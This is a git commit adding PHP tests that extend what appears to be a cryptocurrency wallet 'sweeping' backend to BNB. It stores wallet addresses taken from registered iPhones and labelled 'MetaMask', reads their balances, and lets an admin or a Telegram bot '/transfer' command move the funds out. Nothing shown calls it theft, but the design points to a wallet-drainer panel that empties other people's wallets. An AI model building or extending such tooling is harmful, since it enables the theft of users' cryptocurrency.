feat: bnb

This commit is contained in:
hashbro
2026-09-25 13:10:34 +08:00
parent 13aa587099
commit 534b36a2d2
24 changed files with 242 additions and 33 deletions
+44
View File
@@ -148,4 +148,48 @@ class AddressSweepTest extends TestCase
->assertStatus(403)
->assertJson(['code' => 1]);
}
#[Test]
public function admin_can_sweep_bnb_on_eth_address(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'dev-sweep-eth',
'ios_version' => '18.0',
'device_model' => 'iPhone',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => '0x9858EfFD232B4033E47d90003D41EC34EcaEda94',
'chain_type' => 'ETH',
'source' => 'MetaMask',
'eth' => '0.2',
'usdt' => '10',
'bnb' => '1.5',
'monitor' => 0,
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('eth', $addr->address, '1.5', 'BNB', Mockery::type('string'))
->andReturn([
'ok' => true,
'txid' => '0x'.str_repeat('ab', 32),
'from' => $addr->address,
'to' => '0x0000000000000000000000000000000000000001',
'amount' => '1.5',
'asset' => 'BNB',
]);
$this->app->instance(TransferService::class, $transfers);
$this->actingAs($admin, 'admin')
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
'asset' => 'BNB',
'amount' => '1.5',
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.asset', 'BNB');
}
}
+41
View File
@@ -247,6 +247,47 @@ class TelegramBotTest extends TestCase
$this->assertStringContainsString('deadbeef', $last['text'] ?? '');
}
#[Test]
public function admin_transfer_accepts_bnb_on_eth_address(): void
{
$from = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
$mock = Mockery::mock(TransferService::class);
$mock->shouldReceive('handle')
->once()
->withArgs(function (...$args) use ($from) {
return ($args[0] ?? null) === 'eth'
&& strcasecmp((string) ($args[1] ?? ''), $from) === 0
&& ($args[2] ?? null) === '1.5'
&& ($args[3] ?? null) === 'BNB';
})
->andReturn([
'ok' => true,
'txid' => '0xbnbtx',
'from' => $from,
'to' => '0x0000000000000000000000000000000000000001',
'amount' => '1.5',
'asset' => 'BNB',
]);
$this->app->instance(TransferService::class, $mock);
/** @var FakeNutgram $bot */
$bot = app(Nutgram::class);
$bot->willReceivePartial([
'status' => ChatMemberStatus::CREATOR->value,
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
]);
$bot->hearMessage([
'text' => '/transfer '.$from.' BNB 1.5',
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
])->reply();
$bot->assertCalled('sendMessage', 2);
$history = $bot->getRequestHistory();
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
$this->assertStringContainsString('0xbnbtx', $last['text'] ?? '');
}
#[Test]
public function admin_data_reports_dashboard_stats(): void
{
+26
View File
@@ -3,6 +3,7 @@
namespace Tests\Unit;
use App\Services\Chain\EthDriver;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -30,4 +31,29 @@ class EthDriverTest extends TestCase
$this->assertFalse($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
$this->assertFalse($driver->isValidAddress('0x1234'));
}
#[Test]
public function token_balance_uses_per_contract_decimals(): void
{
config([
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.eth.usdt_decimals' => 6,
'coruna.eth.bnb_contract' => '0xB8c77482e45F1F44dE1745F52C74426C631bDD52',
'coruna.eth.bnb_decimals' => 18,
]);
Http::fake(function ($request) {
$to = strtolower((string) ($request->data()['params'][0]['to'] ?? ''));
$result = str_contains($to, 'dac17f95') ? '0x5f5e100' : '0xde0b6b3a7640000';
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $result]);
});
$driver = new EthDriver;
$addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
$this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract')));
$this->assertSame('1', $driver->getTokenBalance($addr, (string) config('coruna.eth.bnb_contract')));
}
}
+6 -2
View File
@@ -63,11 +63,14 @@ class WalletBalanceServiceTest extends TestCase
$eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
$eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
$eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
$eth->shouldReceive('getTokenBalance')->twice()->andReturn('9.5', '2.5');
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
$manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
config(['coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7']);
config([
'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
'coruna.eth.bnb_contract' => '0xb8c77482e45f1f44de1745f52c74426c631bdd52',
]);
$device = Device::query()->create([
'device_id' => 'dev-bal-2',
@@ -88,6 +91,7 @@ class WalletBalanceServiceTest extends TestCase
$addr->refresh();
$this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
$this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001);
}
#[Test]